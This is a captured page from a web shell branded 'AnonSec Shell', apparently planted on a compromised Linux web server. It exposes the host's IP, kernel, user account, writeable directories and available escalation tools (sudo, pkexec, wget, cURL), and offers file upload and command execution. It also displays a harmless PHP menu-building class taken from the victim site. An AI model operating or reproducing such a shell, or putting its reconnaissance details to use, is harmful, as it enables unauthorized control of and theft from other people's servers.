AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/gasch/application/autoload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/gasch/application/autoload//View.php
<?php
Class View{
    private $html;
    function __construct()
    {
        $this->html = "";
    }


    public static function make(){
        return new View();
    }



    function buildMenuListGroup($data=array(),$active='')
    {

      //  $this->html .= '';
        $this->html .= '<div class="panel panel-default" id="ibox_panel_menu">';

        if(isset($data['title'])){
            $this->html .= '<div class="ibox-title">
                '.$data['title'].'
            </div>';
        }

        $extra_class = '';

        if(isset($data['panel_body_1'])){
            $this->html .= '<div class="panel-body">'.$data['panel_body_1'].'</div>';
            $extra_class = 'm-t-n-lg';
        }

        if(isset($data['items'])){


            $items = $data['items'];

            $this->html .= '<div class="panel-body list-group border-bottom  '.$extra_class.'">';

            foreach($items as $item){
                $this->html .= '<a href="'.$item[1].'" id="'.$item[3].'" class="list-group-item '.($active == $item[3] ? 'active' : '').'"><span class="'.$item[2].'"></span> '.$item[0].' </a>';
            }

            $this->html .= '</div>';



        }

        if(isset($data['panel_body_2'])){
            $this->html .= '<div class="panel-body">'.$data['panel_body_2'].'</div>';
        }

        if(isset($data['panel_body_3'])){
            $this->html .= '<div class="panel-body">'.$data['panel_body_3'].'</div>';
        }

        $this->html .= '</div>';
        return $this;


    }

    function addA()
    {
        $this->html .= "a";
        return $this;
    }

    function addB()
    {
        $this->html .= "b";
        return $this;
    }

    function getHtml()
    {
        return $this->html;
    }
}

Anon7 - 2022
AnonSec Team